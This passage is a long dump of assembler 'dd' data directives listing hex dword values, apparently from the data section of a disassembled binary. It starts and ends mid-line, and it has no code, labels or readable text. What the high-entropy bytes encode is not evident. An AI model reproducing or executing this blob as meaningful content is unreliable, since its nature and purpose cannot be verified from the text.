0BF68A860h dd 9EBEA0B0h, 3CB612E8h, 0C988BC24h, 45EA24DAh, 0F1575100h dd 4C386866h, 458BC114h, 48A3FD4Ah, 4CC102D8h, 0C920F3DEh dd 8044610Fh, 0E124FA5Bh, 0D029EC24h, 0CA18EDD1h, 73C18514h dd 683B1480h, 0E9361038h, 40A0484Eh, 80FDDE88h, 0F91A0D05h dd 1F71A07Bh dd 48DD300Fh, 48238ACAh, 8E96FC11h, 1F32314h, 0BF150DB5h dd 0A186F0BEh, 824EFE04h, 94E09FCBh, 0C26D1464h, 1C5D08C1h dd 0F1024BB8h, 0DF6B9749h, 0FDD9C365h, 0C1AB5C02h, 0C6446067h dd 6C69EBC8h, 0C1213137h, 0A69C090Eh, 0CE449018h, 62614E4Fh dd 69B51535h, 2A6E08FCh, 0F41E42A9h, 3088B304h, 58138BF9h dd 7890509Dh, 884EA112h, 0C1C05B69h, 4B10708Bh, 71B73C1h dd 7E8D6077h, 6494306Bh, 0B4016289h, 0FB5DAFCEh, 4183D423h dd 0D53FD101h, 0E1885097h, 0D0A10843h, 3C163BC1h, 0C1912023h dd 109858A6h, 343A9962h, 15D1525h, 46E127D4h, 2668F180h dd 75669BC2h, 0DB79EF00h, 0BAAFB015h, 4ED21949h, 3DE2487Ah dd 2CA00E4h, 97B51083h, 713E6B7h, 0DCCB189Eh, 0D26E60BAh dd 8200D6A8h, 1726E195h, 0A44F78EEh, 1CAF4D88h, 943B1080h dd 448C3349h, 180703BDh, 0DCC8BB3Bh, 4A608550h, 17CD025Ch dd 0C2DA56FEh, 0B050C45Ah, 4B5774E0h, 5E007EB4h, 31BDCC11h dd 12FCBF8Bh, 0E95E56Bh, 3F807F7Bh, 0B0691FF5h, 59117E12h dd 0BE239C06h, 0FB480081h, 0AEBFD498h, 1700414Fh, 2D2AB940h dd 0F467E9DAh, 323324F2h, 45F40128h, 0A4FB1D42h, 3E092C78h dd 6CA4C8C3h, 4914ADEh, 0EB95A50h, 46FCC135h, 1441BDCAh dd 0B107F1C1h, 9AF5255h, 30AC9042h, 0FEFC19B0h, 0E82C8F5Ah dd 20A86009h, 4150278Ah, 35D18603h, 0E0432BEDh, 4956C466h dd 5A09C082h, 6CEE7ED5h, 0C6FCF140h, 5848790Ah, 6ACA4909h dd 0D684A157h, 5B00EAFBh, 924FAC94h, 0FB3B072h, 0CE12054h dd 90F318E5h, 8141444Ch, 201AED00h, 0AD882DAFh, 0A9E900D6h dd 10E1BB9Bh, 4D12639Ah, 0C400DBE6h, 6683CF0h, 0C1991335h dd 23283A81h, 11D7004Dh, 1A6C488Fh, 15638504h, 8B6C5BAh dd 0F5E8D048h, 30F8008Ch, 0E0F93586h, 0A52E6AD6h, 0B50200CBh dd 70F4BA59h, 5B7C2DC8h, 96439425h, 109410EEh, 646CC5E9h dd 88D160ECh, 0BF840308h, 4A69719Ch, 9F9BF900h, 7D465C1Eh dd 20C8B819h, 0D765D52h, 80A14426h, 70089CAEh, 0CAF08165h dd 300FC825h, 2CB0C194h, 15429881h, 0C88E6C05h, 0BA22AC8Fh dd 12F0CB02h, 643C44C6h, 0EE41134Ch, 0E0CC40CCh, 69BA2AFCh dd 0C6B15560h, 5E1C8F28h, 6608089Bh, 490070BEh, 0AAB67B11h dd 6156C2CFh, 0E17C85Ch, 69147468h, 0A7495460h, 805B39h dd 0E161C513h, 4E3CDAFFh, 0AA456C01h, 2D871E3Ah, 0C819BC42h dd 98B91118h, 6DC22588h, 4FC35824h, 0E1728957h, 44ED9994h dd 40131C62h, 0BCD4D041h, 0D12E3D19h, 8C2F251Dh, 95CE411Ch dd 271D9437h, 5EBDF940h, 9040D9A1h, 0B10569C0h, 0F9185CC0h dd 92FCDE80h, 16E00008h, 60282A03h, 83F12BEh, 10545C83h dd 0F1D5129h, 314381A7h, 60F95DFEh, 909616D0h, 0B284416Fh dd 0E0DC3h, 0F884F19Bh, 0BC4A203h, 0B071067Bh, 28A5820Bh dd 6874194Bh, 1DB44203h, 0CCF84D22h, 44B8A7E4h, 0F14260F6h dd 0B6070FCh, 48B3E5F7h, 45284402h, 0C45F5903h, 381CE895h dd 645A7F10h, 51A00A58h, 4D2A8154h, 325BCCAh, 3AF1FEE2h dd 0E3017BAEh, 1695B29Bh, 9582392h, 18C62AFDh, 497D7E54h dd 0BC028C0Ah, 0A95DD91Bh, 69F2BC40h, 41415891h, 3D4DBA6h dd 63C0CF07h, 0C8848E96h, 70D5C0B9h, 0C9285680h, 0D32CF6FCh dd 0CC214862h, 0F6358B03h, 0B0C0DADCh, 126FDBD8h, 83D8BE67h dd 190537B0h, 0C02234C1h, 6C811864h, 41301A90h, 0F8224DDAh dd 985FE115h, 27772B04h, 48C8826Ch, 58852D20h, 0E8290FEDh dd 96068F2h, 46FE5B34h, 84AB0A2Ch, 0C6C1580h, 2A9EC07Fh dd 0BA49275h, 10981345h, 25B3484h, 0D2C7FDCBh, 88C54B70h dd 61E2CA54h, 20DE4380h, 349063B8h, 8A222B08h, 0C3CB094Ah dd 0C64240C4h, 0B2F174Ch, 0C7C9A481h, 4B07CDCh, 7D86C29Fh dd 53A510B4h, 0C6E2D4D0h, 17431830h, 9C0ACECh, 2CA26272h dd 38712917h, 5C18C779h, 0B8B53Ah, 16ECB106h, 2D2524BBh dd 5802C1BAh, 0C8444845h, 3574017h, 1069E0C2h, 94A4615Ch dd 62C02430h, 986691E6h, 3B7D251Ch, 0DB9238A7h, 1BBB18E8h dd 0BF380501h, 0C24D76CEh, 2DA052EEh, 0BC20A1B2h, 716D480Fh dd 11C09E48h, 0CF165B82h, 4EF89CC9h, 2A875780h, 90EC1253h dd 0F5D630B8h, 9376C250h, 35902560h, 0B6B20C7Fh, 0A6DE43Ch dd 86702052h, 0C10C8C2Ch, 0B1A5561Ch, 1481E613h, 88AAE7FDh dd 8FDA3C00h, 0A474A766h, 222A33F0h, 9A0EC0B1h, 0C7B032C0h dd 0E49028D7h, 2D8FBC7h, 866DE991h, 84E014ACh, 0B0A04AE0h dd 413A4457h, 0AA040358h, 8170EC3h, 0DDAE7520h, 7C400761h dd 1B0B2C63h, 0D805542Bh, 3D14F172h, 11A236Ch, 0C3B684FDh dd 886C18EDh, 840EF59Fh, 22460680h, 82CA824Dh, 82EE08BCh dd 592DF4h, 0FB8634C3h, 5B706182h, 1E000415h, 181709A0h dd 3C32D0F8h, 5503EF85h, 160C9A5Dh, 69AE5058h, 11309D60h dd 9E0C8056h, 179D455h, 4EC919B4h, 2C161CC0h, 0EBDE12CCh dd 7400E05Dh, 7DB5F14Fh, 0F5E40023h, 6315A6C9h, 0AF025CBFh dd 461D79ABh, 409C92F1h, 0A2C73E6Ch, 0F2108608h, 625F7811h dd 23AA5852h, 5D002C64h, 880BA3D1h, 4CAF45BDh, 0B21894FFh dd 0E2F0E09Ch, 749A5C16h, 203A7409h, 0BCEE43ACh, 88009E56h dd 410230CCh, 5E4EE0F6h, 1F6D44C4h, 6730C604h, 9A18E8ADh dd 574F495Fh, 0A4F20728h, 4021546h, 0F5C3AD84h, 98105131h dd 0E0084FCh, 29EEAB34h, 13B349ACh, 42E8F67Ch, 0D6CA8378h dd 0FA452470h, 8CF5C830h, 128F9704h, 8F2A541h, 8FAFBDC0h dd 0A013A5Ch, 0C44526B0h, 402FDEC1h, 142EE0E0h, 874FF65h dd 0FA051703h, 0E864740Eh, 254D550Fh, 64457867h, 0D991CC1Ah dd 18F27998h, 0D568001Bh, 0DB99E6C5h, 9412B187h, 4C914A77h dd 31824CC4h, 7B69B64Dh, 0FE411074h, 0A1C672F8h, 24D9C7B4h dd 3AD4123Ah, 0BD23F8h, 8DA37CF4h, 61172B7Dh, 0F51CE575h dd 0CA27083h, 3E35D0FAh, 12AC99EFh, 0E2BCF2BFh, 9909306Fh dd 13F0CB09h, 0EC34C4C6h, 2E00838h, 0B328FF72h, 0C8B62625h dd 9B7A40A8h, 129D0434h, 0ECACB8D8h, 0E1404739h, 950B4039h dd 3D0BBC4Ch, 0C1013E2Fh, 40875253h, 340397Fh, 6F257ACh dd 3BD8776Ch, 0FBA51CC3h, 86F01844h, 6C4D540h, 0CACB3413h dd 0E24E618Dh, 0A12C6C90h, 108B392Bh, 85D08C8Ch, 873802C0h dd 22449638h, 7234D6h, 3F789D3Ch, 552EB896h, 6E334Ch, 598E912Ah dd 121DAC39h, 0CCC5D245h, 43132720h, 1C43250Eh, 0F3E12666h dd 48E95C1h, 3DC057C8h, 76E01E54h, 0DCE703AAh, 6A690305h dd 7EFE7117h, 6FF5CC20h, 0AF851CADh, 0A861A74Fh, 0D0401356h dd 12F8CB33h, 47BA220Ch, 0EADAD794h, 0F5E181ACh, 0F010B050h dd 0DF52F645h, 1CC204B0h, 8E53E812h, 0FE7CC858h, 2F57C42h dd 0B68D3610h, 0ECD15459h, 49717518h, 26011602h, 61C7EEAFh dd 0C880E1C4h, 7CAE1344h, 0D416692Bh, 94CE5AF5h, 0F8C04E88h dd 2EF1CE4h, 0D64115B1h, 24C46094h, 3C4C332Ch, 0EED1A029h dd 98017018h, 42C8FCF5h, 547471DEh, 792900FFh, 0B2EF8402h dd 0F89CD123h, 0C490FD97h, 1688DB98h, 9022032Fh, 0AB9728B8h dd 42372900h, 11A8936Ah, 2F20696h, 0B08C7476h, 1D4E1B2Fh dd 80EC914Ch, 0BC8DA513h, 6198120Fh, 0E6542069h, 9200FEA7h dd 1A9FEA44h, 0C0AA6096h, 208ECB16h, 7CB8BBD9h, 0A1E9AE20h dd 88722980h dd 0F2423C08h, 0C7029624h, 0EBF6D644h, 7E0E8884h, 0BC0896AEh dd 0B168EE93h, 0F8984188h, 0F95FDC45h, 2F462980h, 8BE35010h dd 79190269h, 0F6AC80D8h, 3DE15215h, 0C2BF0B8Fh, 66A5884h dd 4881BE9Ch, 0B42E6C29h, 0DE388638h, 30091A4h, 0B9E5735Fh dd 240E10A3h, 42146275h, 445A704Ch, 7C975B1Dh, 0DE0C809Fh dd 5871847h, 0A769E1A2h, 0A468C71Ch, 2688B46Ah, 2686C5Dh dd 9AD64697h, 5D1449ADh, 1882ACF1h, 47D5197Eh, 5F014890h dd 43BD7208h, 57FD088Ch, 0B7D02173h, 5E5F0A60h, 0C7222B3Ch dd 0D2644F20h, 904542B4h, 54CC50C2h, 0B6FA5409h, 987605D8h dd 1DFC0464h, 0CE68D0CFh, 0CCECB488h, 2A4208B4h, 0DE3F017Dh dd 25A02C04h, 614C64CEh, 0D643099Ch, 15344C0Eh, 7403704Eh dd 9956EB0h, 6A451C71h, 300AFCA7h, 65EA52EDh, 2153409h dd 2F3852EFh, 1C18A6F0h, 0C896CCA0h, 98C4A00h, 0B83AC218h dd 43C36C3h, 508CC169h, 0AB588C8Ch, 74385024h, 2D3591CEh dd 0C18A913h, 52EB4A86h, 9EF88CA0h, 1A7527h, 0C972DB04h dd 256C77C7h, 24904740h, 0CB401A1Ch, 74909D27h, 0D374A990h dd 38617406h, 9776EFC1h, 7EFC4002h, 584A2AC3h, 64BC94C1h dd 25F91070h, 54E160F7h, 59F060FEh, 0D1B4588h, 95359F81h dd 32DFF1F9h, 0F1FB0050h, 0C21AE572h, 22A4E44h, 78570E00h dd 0BE0B8EF6h, 40881249h, 0EA2F068h, 0B0F674A0h, 401EF875h dd 8171F57Eh, 4C6B6E4h, 0EC6E68C3h, 1C845B0Bh, 0EFA341A9h dd 408264ECh, 34B7F24Eh, 44454D6h, 0A406FE49h, 232440AAh dd 0A99F442Dh, 0A8E18AD2h, 532C202Eh, 0A55C3FE5h, 0ABF70307h dd 0F01040C9h, 30D466CDh, 0BC2969E3h, 13E43F31h, 0B20D971Fh dd 0FC533C80h, 2A1D38h, 525D902Eh, 0E6DBF398h, 9F17AD78h dd 7420E38Ch, 4CA654D9h, 4800B017h, 342B78D4h, 3F17124Fh dd 0B0AC2DDh, 0C044B45Ah, 0E8AC640h, 7C00166Dh, 0A0BB2591h dd 0C067AF14h, 0CB70D3Ah, 3A0074FFh, 0C70789C0h, 147CC375h dd 0DCC4C59Eh, 5D3F439Dh, 401C6E0h, 63E3FD6Fh, 3C248A1Dh dd 0D00C5CC4h, 0D84CED71h, 0E11209E8h, 3C10C15Eh, 0DE81FE1Eh dd 78281421h, 188CE8ECh, 8C049C10h, 7D02C908h, 0CA7E87FCh dd 17BFE388h, 25B3571h, 0EF40D87Ch, 4B001C54h, 0FC8F1ACBh dd 1F30D6B7h, 970922DCh, 2166A241h, 19D8436Ch, 78048055h dd 410A65DCh, 9CFD940Ch, 0F2A7183Dh, 57A8B5E3h, 9D31B514h dd 0FF46F0A4h, 0F298F414h, 81D39000h, 93BA440Bh, 6F0D00A6h dd 0EEDE46DCh, 5C06A361h, 6866C257h, 0C0AA0350h, 8E172B97h dd 0E25AA905h, 5C12DEFEh, 46141C09h, 84070440h, 0F2FDC3ACh dd 0FF99C044h, 7FC11F84h, 426E6B37h, 7C871C73h, 0CB87E55h dd 2679D7F3h, 0AE2F4B00h, 0DB9E4A16h, 53420052h, 79CA72BEh dd 0F9000E0Fh, 0DD415ACFh, 9295E3h, 66DBE547h, 0F087B25Fh dd 1DFC3A07h, 8C6A1A45h, 2B41F024h, 70405E47h, 0B8FF8B4Fh dd 0EF7A2008h, 0DC71600h, 19431064h, 5412B549h, 767C8476h dd 0AE218472h, 5E8A08A8h, 820875Ch, 0DEC75429h, 1880D0CAh dd 7D73BC48h, 274E1D42h, 9441C19Ah, 0C5CAEC8Dh, 992983FBh dd 0E0EEE133h, 0C27B8623h, 0F90869B0h, 0E8BD4B05h, 9173A006h dd 47531177h, 0E69FF004h, 0CA9D0024h, 0A4675ED2h, 60023EAEh dd 6535EBBCh, 0CE0C80BBh, 1DBF6617h, 489D34E1h, 0D20724AEh dd 3FF9B26h, 0E3BF623Bh, 0E0BCE334h, 77C89938h, 79E7CE5h dd 0A5662AD0h, 0C98440DEh, 610338AEh, 8E67F6CEh, 982807A2h dd 9023EAA5h, 9F21E9CDh, 8020FAA1h, 0DA61DF40h, 3A26F6AEh dd 2E80A160h, 7DA8CF67h, 0CD7740C5h, 507ADA3Eh, 8A639F04h dd 0E08B3480h, 3A41B0Fh, 0DA04B786h, 791EE8A5h, 713334E9h dd 74D3E39Eh, 0CAE1C518h, 660841D9h, 0F025DEA3h, 2B28DCBBh dd 80D838A1h, 4E5AC88h, 0EBA38B35h, 679D0021h, 30D4C9DDh dd 24E8BB42h, 8608363h, 6AAE7738h, 440CA9Eh, 5CEF00A0h dd 67F2AF87h, 0A57AD500h, 0FE47FC2Bh, 33B9F235h, 72E10109h dd 80E27FA1h, 20DCAA78h, 43F5859Bh, 1BE201Bh, 3BE9B2BDh dd 0AAE8481h, 0A3920A07h, 0FFAD07D2h, 17F2C191h, 0E4F7A461h dd 0E0023F2Dh, 10B6582Ah, 4982F962h, 206E2E83h, 0B7D41838h dd 0CC34A281h, 3E5A72DAh, 454AF946h, 0B9A36060h, 0AB1E0870h dd 4C942C9Ch, 0B0840C48h, 84327BE0h, 10BBA225h, 0B761A0D0h dd 1688D825h, 60D8962Ch, 5B504650h, 0FB96F6h, 4AE8EE17h dd 64602350h, 9A587164h, 602CD625h, 0DDE70710h, 7C419558h dd 4A5EC860h, 0AA1823F7h, 3658D164h, 66CCBD24h, 94D12F60h dd 59DD1868h, 6214DA5Bh, 0E294B655h, 9A231C12h, 0E8C51FAh dd 9659A223h, 52D1210Eh, 388C0C32h, 5559DE18h, 39F4486Ch dd 0C4FCDC90h, 412C1EEh, 44DE5AF8h, 8CF9DFC7h, 2ADA5709h dd 794CDCD0h, 10845F66h, 0C2857CFCh, 0C194E46Eh, 287BFF30h dd 52F840Eh, 0C2DA4970h, 0C8348847h, 0AE404254h, 3CC101E9h dd 0C400C5DDh, 24BE8534h, 0AC84DE0Ah, 24D22ABCh, 0FCFE1801h dd 0BE44C3F4h, 76829857h, 407042h, 431B8ED9h, 2ECA4958h dd 0D61448B9h, 844F0540h, 4485C1B3h, 44620434h, 158C1195h dd 42C5DC29h, 788209D2h, 42B928Ah, 875063E4h, 4417D35h dd 5F642A04h, 210C8D15h, 0C8759032h, 54856402h, 1250231Ch dd 744860B8h, 8582A260h, 8C204E5Ch, 649C6B85h, 8A1A409Ah dd 286221D0h, 0B8E2559Ch, 2010BEE3h, 430B6316h, 354F771Ah dd 41E1099Ch, 57BA40C0h, 7EDE130Ah, 12071076h, 74C62679h dd 85E112E0h, 0A93400FFh, 275B3410h, 0D6189919h, 4C284C48h dd 0C328B932h, 19FDD00Eh, 1838AC50h, 0FC21AF18h, 9F18244Eh dd 63DB030Ch, 184B0A47h, 63E25488h, 83DB4153h, 180CEAC3h dd 391C4D6Ch, 0DE403745h, 12DA5051h, 320065CBh, 3B26EE04h dd 1CC3E0A9h, 85CF7D03h, 0A442443Ah, 0AB2F178Ch, 57D422F1h dd 18044CAh, 8CD45178h, 8053DFC0h, 0F0734E0h, 0DC235B2h dd 8B223B6Bh, 8F004019h, 490D67Eh, 0FAB6220h, 8646CBAAh dd 7B0F5880h, 0F0B8BA19h, 83A29539h, 0B3F9C398h, 45083A99h dd 24ABC97h, 87D45926h, 5CC82A61h, 3498384Ch, 5D170F0Ah dd 0EC44E0A2h, 48AA1446h, 38647BE4h, 6F0833F0h, 48B4EC93h dd 0D4DE4843h, 0FC4F4080h, 0CA4BCB11h, 38B0B880h, 9EEC27DEh dd 0B575898h, 0CFE842F6h, 0F803FB4Bh, 0EEC1D141h, 184F7821h dd 717D6951h, 0A6247E88h, 84A4D8A9h, 0B0079283h, 0DE8FE8FFh dd 9B71C754h, 0CD829DAh, 7279044h, 0D08F48E6h, 0A80B84F7h dd 0DF26C018h, 13B4589h, 3C968F87h, 4795D6FFh, 1480289Ch dd 4544017Dh, 7C90A8AAh, 9210C824h, 0A70010A8h, 0C1A89B57h dd 11CB7FE7h, 946691Ah, 82747A1Dh, 484B7DA4h, 0AB049474h dd 0A81690BCh, 748E1689h, 2A60C833h, 7FE632F0h, 0F534C600h dd 0C0CF0907h, 24940489h, 82BED782h, 5720692Ch, 7493B184h dd 0F19B0007h, 0CCCDF820h, 0E12A461Eh, 0E600C06Bh, 19DD849Fh dd 265DBC71h, 11F07C40h, 1C80245Ah, 5962DF8Ch, 0C388A3D7h dd 0E111007Ah, 79C69984h, 0AB98FE1Fh, 24D49E53h, 2AA7A8A1h dd 0C0C760C0h, 9021A536h, 982B7E64h, 56C22884h, 99C30D0Ch dd 2191D4DEh, 68202B90h, 5FD207h, 0D1B9B4B3h, 899FCA48h dd 148CACB8h, 2838D658h, 7E11305Fh, 0EA7C9EDAh, 44B8B2A7h dd 0C100A478h, 0C7432775h dd 28DFCD6h, 3DF52646h, 7059299Eh, 2F5CFA0Fh, 14E49h, 4C440F6Ch dd 130491B6h, 286810ACh, 5C21CABCh, 0A919D0B6h, 8C318390h dd 46BD597Ch, 0E344203Eh, 68B067D7h, 0FEFD44h, 0C45495D2h dd 0C3848112h, 881C8348h, 93AC6064h, 41EE0DF8h, 4D2988BAh dd 0DA0B9895h, 55F090F0h, 8E0CA190h, 20869D0Ch, 273FFD76h dd 0A840CEC7h, 195BF0EEh, 2F417CFEh, 14C2780Dh, 237CD45Ch dd 43F0C243h, 0BCC085C2h, 99B757h, 7CFF9CF3h, 27A94E19h dd 561CD809h, 1140F9CBh, 488B5A9Ch, 4EC0C7C8h, 71C1AC1h dd 4D417610h, 1B537BBh, 34C9692Ch, 794B40B4h, 0E0BA80D0h dd 6EF3AEDh, 0EE38EC0Bh, 22304C02h, 5F00F464h, 62DE8BD0h dd 0F1F0F50h, 8856AF11h, 0EEC0A806h, 29F329C1h, 5CC01A79h dd 53BC13B1h, 4481288h, 0B85882E0h, 8CECEC88h, 49D80E02h dd 62FA357Ch, 741457CEh, 0C7AFC44h, 0EADEB502h, 0C10B9871h dd 0F0179C97h, 64F49C0Ch, 0C370C1F8h, 342C2BD5h, 84F0009Ch dd 0CF44784Eh, 39E4FB92h, 413E98ECh, 4B88008Dh, 0DAD6453Dh dd 5A5CB86Eh, 6004069h, 0FC1990A4h, 0D45230F3h, 5C91D9E6h dd 9A15FE00h, 0C576CBBBh, 830F0408h, 52881890h, 359FF7E8h dd 0EC9A80A0h, 0DDB2DB74h, 0C218ED02h, 0F19E14A3h, 0D097AF20h dd 13805391h, 6913FCDh, 2901C371h, 0DB98168Fh, 92FC767Bh dd 25F817CBh, 0C13898BDh, 3FFC7200h, 0D62870DAh, 82B307B1h dd 54CE21FAh, 0C8048B9Dh, 0B8CFC0F6h, 860FB0ABh, 4BBD615Dh dd 57B4629Fh, 0EC89483Dh, 3ACC00B4h, 641D7B1Fh, 60AD48C2h dd 25FB19B7h, 646597FEh, 19AF0880h, 3BEB84B1h, 0C09344DFh dd 41C0A4DCh, 688DBD07h, 1AA41403h, 0D93AA8C2h, 80FF11E0h dd 410C8F91h, 10169D95h, 8FA9BB03h, 92C96FFAh, 2C8B00F5h dd 0CB442115h, 819A00FCh, 6F36940Dh, 0DA0475B8h, 74CD2C1h dd 115F4880h, 1CC70B99h, 84E9848Bh, 0AC7848A8h, 0FE041909h dd 30C1CAFh, 5919A405h, 72A8C7DFh, 801D0BBDh, 0F257F933h dd 0A187420h, 0F1791D32h, 52BCBDB0h, 57340BCAh, 0CB0110C6h dd 585BBBF9h, 11F142BFh, 53C44F10h, 95F494A8h, 34879F12h dd 6D23E43Ah, 7027EC00h, 3CA64C24h, 0AA83D6C9h, 0BBAC0DFFh dd 0CAB72ED8h, 3BFCA904h, 0E8B876DFh, 4B42CBF8h, 8864AE10h dd 20875E84h, 0C9E5E308h, 0C679B0F1h, 9F071518h, 0E3C3BA3Ah dd 16435D0h, 440A2CC7h, 177B0380h, 21E2FC2Dh, 0F761DC90h dd 0C4D78A00h, 63425710h, 92DE003Eh, 36468041h, 790D4438h dd 3029EA19h, 26007C23h, 0D5B16898h, 8758886Ah, 0BD3A0108h dd 0C68D7CA5h, 756251E0h, 3DE100E8h, 0DABBC277h, 7A02B487h dd 67830C4Bh, 0E0286BAAh, 82B953h, 5740DD91h, 0F27B4932h dd 0C7EEBA1Ch, 7714FC01h, 0DAFE4599h, 4C2903F0h, 0E12654CBh dd 3FF49E4h, 0F8AFD957h, 0EFC5B9h, 8C6748C4h, 207B1C5Ch dd 0C6DEC212h, 0E50BB040h, 92D508h, 9B8B6C31h, 7A7C237h dd 366DA1Eh, 7DE884A5h, 0F8C13088h, 41F160DEh, 7BCFFF5h dd 0CD315900h, 54119620h, 0B9640149h, 0C1999457h, 0C9A09252h dd 0A5CBDC80h, 0D3A20079h, 0A63D2E03h, 4A03647h, 0BAA3ED66h dd 398CC6E0h, 0D2FA3E00h, 0FD231328h, 74BD74C2h, 0A0260056h dd 3F8FA3AEh, 0BC712040h, 0B6DB12DDh, 19A2C048h, 68FD3AADh dd 0AB4BBB8Ch, 2B18B428h, 4740C56Ah, 0C7B97139h, 4384C681h dd 22F033A8h, 1A00A025h, 9C68790Fh, 3D3729h, 7D7E2A2Dh dd 0FA878057h, 43843C00h, 0D0AF75BFh, 0CDE4B4h, 33763B50h dd 77399B6Ch, 19B37F00h, 0A0A425AFh, 89496853h, 3B1E0728h dd 306D16C6h, 33827506h, 1A0C196h, 0B93CB3A2h, 0F086204Fh dd 18C1C472h, 0B40CA39Ch, 0E6239700h, 88B03B60h, 2FC968Eh dd 13A82B6Dh, 9490DB16h, 30DFADF2h, 0EA2740Fh, 82107830h dd 0E5B01B23h, 40E1705Dh, 0A49C0099h, 50FF2802h, 0A00F76CCh dd 30E53698h, 5DE8EB7Fh, 0B32CF505h, 721B6469h, 0E59DA0C0h dd 32297391h, 929D123h, 886EBA10h, 1988E441h, 10FD8987h dd 13A813F9h, 0AE66114Ah, 1583FC00h, 0C69D40h, 7AB2494Ch dd 3660F67Fh, 8FB2EE60h, 30CB301Bh, 7184DC9h, 38006A42h dd 85761FA0h, 7D0CD864h, 0EEA40312h, 0D5C5AB66h, 35A0E0F0h dd 7A9283Dh, 29A5C891h, 68838E80h, 161E0053h, 23145BBEh dd 1F0CD358h, 30970CABh, 4C681D54h, 62C840A5h, 46C37EDAh dd 0B7023C0Fh, 0D35960BEh, 1405F9Fh, 3B54AE03h, 0D062B60Bh dd 43003730h, 0F49A91D2h, 1C86D0Dh, 4EA54821h, 0CCD70125h dd 84007755h, 366EF394h, 750795Eh, 2CB848A5h, 0E8C85056h dd 0FC38FB32h, 0C63C9DB0h, 77A3C0C0h, 0E5324h, 5536F3CDh dd 1C0C693Ah, 0E0A76E2Ah, 8D39FFF4h, 33CA0072h, 7611BAA1h dd 0C469001Fh, 0CE9C191Ah, 0DD0F55E7h, 0C0D0387Ah, 9F0F742Bh dd 54813ED7h, 0F93C8500h, 0D56D8E0Bh, 0CCC8F200h, 86CE37BEh dd 0E6F70506h, 0C41EA6h, 1DEEEAB0h, 0E903F5FFh, 5A9F3FC1h dd 0BD9DE0F7h, 0E4E30797h, 3A4F3835h, 0AF6C06F7h, 4D0F3862h dd 6CDFF366h, 0C5109Ch, 729F2E2Fh, 0D601BC75h, 0DA08A00h dd 0AB420635h, 0E8C4798Eh, 7E5800E6h, 0E901E160h, 52000D4Dh dd 3F74A0C7h, 0EC973A8h, 0DD3A2C16h, 0FB9E4120h, 0B1037C39h dd 0E17D175Ah, 5094A84Dh, 87D00002h, 0E72B4790h, 0F8035311h dd 29A4CA3Fh, 4B5F81Bh, 12AF0424h, 0C0386005h, 0C6A79120h dd 0B31C2000h, 0CC31F164h, 80400FDh, 0E7244650h, 9D1E7F45h dd 4400A4F2h, 962B7E59h, 4BA84CDEh, 9A0D6B02h, 3040B0A2h dd 6704A546h, 4386873Bh, 0D6F44C80h, 58C1008Dh, 4EE79B05h dd 8C00DCBCh, 0FDEF54A4h, 0CCC8F43h, 3362DF7Ch, 283B0670h dd 6CF301E3h, 0CEDD57DAh, 0C069C1C8h, 0BAA86121h, 1B035C09h dd 54B60D90h, 7236A095h, 7402184Bh, 8AF444ACh, 3BD3DB18h dd 48D96FE8h, 9A00DCE6h, 0C8C43715h, 0B30026B2h, 6178ED7Ah dd 0BB299Eh, 4A140BE9h, 96B0B5CFh, 0FA977B0Fh, 283C80BFh dd 0F874925Fh, 1E4B0034h, 0B7ED1558h, 0D4B0D9C2h, 0D0FA38h dd 0F38F2813h, 760CA92Bh, 1F84014Eh, 89228570h, 1E94404Ah dd 7A00DF48h, 0B409A1E1h, 30EE72Ah, 5BC153FDh, 0EDB8173Ah dd 0E5013082h, 0C9986375h, 0EBFC36E6h, 7B2016BBh, 29D8018Dh dd 4744A39Eh, 0FBE9B08Ch, 0E24DB84h, 0C00040EBh, 96F99405h dd 70290C7Fh, 0A5AE1993h, 120DD407h, 8890F423h, 865447h dd 18E8913Ch, 0CA8CFC0Ah, 1100BC90h, 4AFED63Bh, 726D6EE0h dd 0AA923E90h, 0E67700F0h, 112C459h, 84001699h, 906732DCh dd 621164DAh, 1BC1186Ah, 0A9C893E0h, 8E3E8009h, 0ABC00CEh dd 1FF732A2h, 0B87B714Ah, 72E13Bh, 216B241Eh, 72C55982h dd 0FB2CDA00h, 95EC7FD7h, 22D80073h, 6CF62016h, 0B1077628h dd 4E724D40h, 9CBF5C90h, 8840F3B7h, 3A5F74B2h, 0AA00AF0Eh dd 5632CA51h, 0EDFC12C6h, 3479F616h, 0AEC1E000h, 16452EF7h dd 16E8DD19h, 4E9909F5h, 1CEF3E8Eh, 80C3B6C4h, 0ECF57BF3h dd 1AEB5600h, 0D003696Dh, 0AE310089h, 0F346D386h, 0B7000E59h dd 0E93E2B54h, 0F657E725h, 0C6B767Fh, 0DC30F94Ch, 0B9135A60h dd 0D00169F0h, 58DE5D14h, 5BD5F080h, 0FB109606h, 32AC8003h dd 6802E3h, 917F4628h, 0F3014C2Ah, 4734E100h, 1D60E85Eh dd 7FA6EA2Eh, 6C950029h, 0E71BDB86h, 0DF2CC230h, 1514F5F1h dd 500A7FE8h dd 0F0A4C551h, 0DA001B24h, 90BAD522h, 0D10C0167h, 0C7E23DB1h dd 5808203Ah, 84BC4A08h, 230900A7h, 0A802C6AEh, 0E8758700h dd 2E92AA55h, 0CDCF0048h, 98B0C71h, 0DC003E91h, 0A86F2AA4h dd 0E6195CC2h, 70F8F908h, 0B0C400ADh, 84B68801h, 3703BF5Bh dd 0EF3ABDF2h, 0C8FE929Eh, 0CCA74h, 0E0D78491h, 0CC77693Fh dd 9F6E150Eh, 7F49A094h, 3A63CAh, 22C97695h, 0AD54F242h dd 0E99A7B00h, 46571235h, 37ED004Ah, 4D5E3E23h, 170054EAh dd 2E4E8180h, 71DE2C5Dh, 0FDA071Fh, 0C55B0E67h, 87DC0082h dd 60CDA4A3h, 0EE0022EAh, 986B59C5h, 1AC7F1Ah, 9754762Ch dd 0C4EDBCA3h, 8F25F60Dh, 406E8D1Fh, 0A5EB3F8h, 22F1C64Bh dd 481700E0h, 0E877AE13h, 921D9D00h, 4B97350Eh, 0D883D2Dh dd 0B500E6BBh, 0F7F223CBh, 340408C4h, 0BA79C5D7h, 0EB29AEC0h dd 30531333h, 4F2400A1h, 0F98731F7h, 587D8200h, 46ABCF61h dd 0E47F0023h, 0B42D2BBDh, 4F0030ADh, 0AE51DBB2h, 864CD1h dd 0C9687423h, 0F1C55644h, 9F6D2700h, 3F640B59h, 462F048Fh dd 0C0491C1Fh, 4498C4D8h, 0D9CA8100h, 0A09B4B3Bh, 8EA50028h dd 0D133FE02h, 9603FB97h, 0E0F4E4D8h, 7655889Ch, 63B901D3h dd 77490ADAh, 0EDB82037h, 81D972Ch, 6048CA0Eh, 197807BEh dd 0D0AA0061h, 731E46BFh, 1B0E5529h, 0E08CF652h, 0AD2FCA8Eh dd 287CD6h, 8FDD77E4h, 9A74124h, 9484202Eh, 